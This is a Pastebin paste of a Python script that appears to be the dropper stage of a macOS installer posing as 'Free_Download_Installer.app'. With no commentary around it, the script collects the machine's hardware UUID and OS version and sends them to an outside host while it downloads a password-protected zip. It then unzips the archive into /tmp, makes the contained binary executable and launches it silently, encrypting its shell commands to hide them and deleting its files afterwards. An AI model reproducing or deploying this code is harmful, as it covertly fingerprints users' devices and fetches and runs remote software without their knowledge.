Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import uuid
- import subprocess
- import os
- import sys
- import platform
- import shutil
- import imp
- edt = imp.load_source('edt', '/Volumes/Free_Download_Installer/Free_Download_Installer.app/Contents/MacOS/hx8yjmk')
- import objc
- import urllib
- from Foundation import NSBundle
- IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
- functions = [("IOServiceGetMatchingService", b"II@"),
- ("IOServiceMatching", b"@*"),
- ("IORegistryEntryCreateCFProperty", b"@I@@I"),
- ]
- objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
- def io_key(keyname):
- return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice")), keyname, None, 0)
- def getHardwardUuid():
- return io_key("IOPlatformUUID")
- def downloadFile(fileUrl, destination, key):
- commands = ["curl", "-f0L", "-o"]
- encryptedCommands = edt.encryptList(commands, key)
- encryptedCommands.extend([destination, fileUrl])
- quietShellCommand( encryptedCommands, key)
- def unzip(zippedFile, password, key):
- tempDir = edt.encryptText('/tmp', key)
- tempInstallerDir = edt.decryptText(tempDir + zippedFile, key)
- if os.path.exists(tempInstallerDir):
- shutil.rmtree(tempInstallerDir)
- os.makedirs(tempInstallerDir)
- commands = ['unzip', '-P']
- encryptedCommands = edt.encryptList(commands, key)
- encryptedCommands.extend([password, zippedFile])
- endCommands = [ edt.encryptText('-d', key), edt.encryptText(tempInstallerDir, key)]
- encryptedCommands.extend(endCommands)
- quietShellCommand(encryptedCommands, key)
- return edt.encryptText(tempInstallerDir + "/", key)
- def findVolumePath(appName):
- dirs = os.listdir('/Volumes')
- for vol in dirs:
- testPath = "/Volumes/" + vol
- if os.access(testPath + "/" + appName, os.F_OK):
- return testPath
- return ""
- def moveIcon(destination, key):
- appName = "Free_Download_Installer.app"
- volumPath = findVolumePath(appName)
- iconDir = volumPath + "/" + appName + "/Contents/Resources/"
- dirs = os.listdir(iconDir)
- sourceIcon = ""
- for file in dirs:
- if file.endswith(".icns"):
- sourceIcon = file
- iconPath = edt.encryptText(iconDir + sourceIcon, key)
- quietShellCommand([edt.encryptText('cp', key), iconPath, destination], key)
- def quietShellCommand(commands, key):
- devNull = open("/dev/null","r")
- devNullID = devNull.fileno()
- decryptedCommands = edt.decryptList(commands, key)
- subprocess.check_call(decryptedCommands, stdout=devNullID, stderr=devNullID)
- def getAppName(directory, key):
- dirs = os.listdir(edt.decryptText(directory, key))
- for file in dirs:
- if file.endswith(".app"):
- return file
- key = edt.getKey()
- uuid = str(uuid.uuid4())
- sessionID = edt.encryptText(uuid, key)
- downloadDir = edt.encryptText('/tmp/', key) + sessionID
- machineID = str(getHardwardUuid())
- osVersion,_,_ = platform.mac_ver()
- url = "http://api.operativeupgrade.com/dst/?ac=1f28e6bb-8c19-4890-a65b-4d0c7eef21f4&u=%(machineID)s&s=%(uuid)s&o=%(osVersion)s&b=4714511831" % locals()
- fileUrl = edt.encryptText(url, key)
- password = edt.encryptText('138115417413c69fdf-3527-437f-ad17-dd701f5229cc4714511831', key)
- downloadFile(fileUrl, downloadDir, key)
- unzippedFileDir = unzip(downloadDir, password, key)
- appName = edt.encryptText(getAppName(unzippedFileDir, key), key)
- applicationPath = unzippedFileDir + appName
- decryptedAppPath = edt.decryptText(applicationPath, key)
- fullAppDir = decryptedAppPath + "/Contents/MacOS/"
- installerAppName = os.listdir(fullAppDir)[0]
- installerAppPath = edt.encryptText(fullAppDir + installerAppName, key)
- commands = edt.encryptList(['chmod', '+x'], key)
- commands.append(installerAppPath)
- quietShellCommand(commands, key)
- decryptedAppName = edt.decryptText(appName, key)
- destinationIconPath = unzippedFileDir + edt.encryptText(decryptedAppName + "/Contents/Resources/app.icns", key)
- moveIcon(destinationIconPath, key)
- if os.fork():
- sys.exit()
- volumPath = findVolumePath("Free_Download_Installer.app")
- commands = edt.encryptList(['open', '-W'],key)
- commands.append(applicationPath)
- commands.extend(edt.encryptList(['--args', '-ac' + '1f28e6bb-8c19-4890-a65b-4d0c7eef21f4', 's'], key))
- commands.append(sessionID)
- commands.append(edt.encryptText(urllib.quote(volumPath), key))
- quietShellCommand( commands, key)
- os.remove(edt.decryptText(downloadDir, key))
- shutil.rmtree(edt.decryptText(unzippedFileDir, key))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement